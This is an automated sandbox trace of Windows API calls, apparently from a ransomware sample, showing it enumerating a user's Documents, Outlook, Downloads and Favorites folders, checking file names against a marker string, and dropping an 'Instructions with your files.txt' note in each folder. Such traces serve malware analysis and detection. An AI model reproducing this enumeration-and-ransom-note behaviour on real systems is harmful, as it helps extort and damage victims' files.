[0131.621] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*") returned 55
[0131.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0131.621] GetProcessHeap () returned 0x810000
[0131.621] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.621] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1
[0131.621] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files") returned 57
[0131.621] GetProcessHeap () returned 0x810000
[0131.621] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.621] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*") returned 59
[0131.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.622] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\.") returned 59
[0131.622] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.622] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\..") returned 60
[0131.622] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1
[0131.622] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst") returned 80
[0131.622] StrStrIW (lpFirst="voeimd@djhreuu.uhd.pst", lpSrch="SDfghjkl") returned 0x0
[0131.622] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0
[0131.622] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\Instructions with your files.txt") returned 90
[0131.622] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.623] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.623] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.623] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.624] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.624] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.624] CloseHandle (hObject=0x110) returned 1
[0131.624] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.624] GetProcessHeap () returned 0x810000
[0131.624] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.624] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda771a90, ftCreationTime.dwHighDateTime=0x1d5c2dc, ftLastAccessTime.dwLowDateTime=0x8fdc0430, ftLastAccessTime.dwHighDateTime=0x1d5bfbe, ftLastWriteTime.dwLowDateTime=0x8fdc0430, ftLastWriteTime.dwHighDateTime=0x1d5bfbe, nFileSizeHigh=0x0, nFileSizeLow=0x228b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RHAJYt1jpaEjI.odp", cAlternateFileName="RHAJYT~1.ODP")) returned 1
[0131.624] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RHAJYt1jpaEjI.odp") returned 61
[0131.624] StrStrIW (lpFirst="RHAJYt1jpaEjI.odp", lpSrch="SDfghjkl") returned 0x0
[0131.624] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc83322c0, ftCreationTime.dwHighDateTime=0x1d5aab3, ftLastAccessTime.dwLowDateTime=0xca65f250, ftLastAccessTime.dwHighDateTime=0x1d58706, ftLastWriteTime.dwLowDateTime=0xca65f250, ftLastWriteTime.dwHighDateTime=0x1d58706, nFileSizeHigh=0x0, nFileSizeLow=0x4989, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sh 3tT7K6EDr.pptx", cAlternateFileName="SH3TT7~1.PPT")) returned 1
[0131.624] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sh 3tT7K6EDr.pptx") returned 61
[0131.624] StrStrIW (lpFirst="Sh 3tT7K6EDr.pptx", lpSrch="SDfghjkl") returned 0x0
[0131.624] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf152f0f0, ftCreationTime.dwHighDateTime=0x1d58609, ftLastAccessTime.dwLowDateTime=0x24d7ac20, ftLastAccessTime.dwHighDateTime=0x1d5af56, ftLastWriteTime.dwLowDateTime=0x24d7ac20, ftLastWriteTime.dwHighDateTime=0x1d5af56, nFileSizeHigh=0x0, nFileSizeLow=0x1553e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="t7wq47qLFiPjzcM2U.xlsx", cAlternateFileName="T7WQ47~1.XLS")) returned 1
[0131.624] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\t7wq47qLFiPjzcM2U.xlsx") returned 66
[0131.624] StrStrIW (lpFirst="t7wq47qLFiPjzcM2U.xlsx", lpSrch="SDfghjkl") returned 0x0
[0131.624] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7af1730, ftCreationTime.dwHighDateTime=0x1d5a75b, ftLastAccessTime.dwLowDateTime=0xb0459840, ftLastAccessTime.dwHighDateTime=0x1d58f34, ftLastWriteTime.dwLowDateTime=0xb0459840, ftLastWriteTime.dwHighDateTime=0x1d58f34, nFileSizeHigh=0x0, nFileSizeLow=0x102bc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vQIzYTJkFOyHf3j.docx", cAlternateFileName="VQIZYT~1.DOC")) returned 1
[0131.624] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vQIzYTJkFOyHf3j.docx") returned 64
[0131.624] StrStrIW (lpFirst="vQIzYTJkFOyHf3j.docx", lpSrch="SDfghjkl") returned 0x0
[0131.624] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4f59c40, ftCreationTime.dwHighDateTime=0x1d58b23, ftLastAccessTime.dwLowDateTime=0xe4677ae0, ftLastAccessTime.dwHighDateTime=0x1d5478f, ftLastWriteTime.dwLowDateTime=0xe4677ae0, ftLastWriteTime.dwHighDateTime=0x1d5478f, nFileSizeHigh=0x0, nFileSizeLow=0xd994, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yuD2mDKkpx1.xlsx", cAlternateFileName="YUD2MD~1.XLS")) returned 1
[0131.624] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yuD2mDKkpx1.xlsx") returned 60
[0131.624] StrStrIW (lpFirst="yuD2mDKkpx1.xlsx", lpSrch="SDfghjkl") returned 0x0
[0131.624] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c88840, ftCreationTime.dwHighDateTime=0x1d5c1fd, ftLastAccessTime.dwLowDateTime=0x6a60de50, ftLastAccessTime.dwHighDateTime=0x1d5c069, ftLastWriteTime.dwLowDateTime=0x6a60de50, ftLastWriteTime.dwHighDateTime=0x1d5c069, nFileSizeHigh=0x0, nFileSizeLow=0x10e49, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_Ifr.ods", cAlternateFileName="")) returned 1
[0131.624] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_Ifr.ods") returned 52
[0131.624] StrStrIW (lpFirst="_Ifr.ods", lpSrch="SDfghjkl") returned 0x0
[0131.624] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c88840, ftCreationTime.dwHighDateTime=0x1d5c1fd, ftLastAccessTime.dwLowDateTime=0x6a60de50, ftLastAccessTime.dwHighDateTime=0x1d5c069, ftLastWriteTime.dwLowDateTime=0x6a60de50, ftLastWriteTime.dwHighDateTime=0x1d5c069, nFileSizeHigh=0x0, nFileSizeLow=0x10e49, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_Ifr.ods", cAlternateFileName="")) returned 0
[0131.624] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Instructions with your files.txt") returned 76
[0131.624] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0131.627] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0131.628] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0131.628] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0131.628] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0131.628] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0131.628] CloseHandle (hObject=0x10c) returned 1
[0131.628] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0131.628] GetProcessHeap () returned 0x810000
[0131.628] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.628] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1
[0131.628] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned 43
[0131.628] GetProcessHeap () returned 0x810000
[0131.628] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.628] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*") returned 45
[0131.628] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0131.629] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\.") returned 45
[0131.629] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.629] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.629] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\..") returned 46
[0131.629] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.629] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0131.629] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini") returned 55
[0131.629] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0131.629] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
[0131.629] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\Instructions with your files.txt") returned 76
[0131.629] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0131.629] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0131.630] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0131.630] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0131.630] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0131.630] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0131.630] CloseHandle (hObject=0x10c) returned 1
[0131.631] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0131.631] GetProcessHeap () returned 0x810000
[0131.631] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.631] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1
[0131.631] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned 43
[0131.631] GetProcessHeap () returned 0x810000
[0131.631] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.631] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*") returned 45
[0131.631] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0131.631] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\.") returned 45
[0131.631] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.631] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.631] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\..") returned 46
[0131.631] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.631] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0131.631] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini") returned 55
[0131.631] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0131.631] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1
[0131.631] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned 49
[0131.631] GetProcessHeap () returned 0x810000
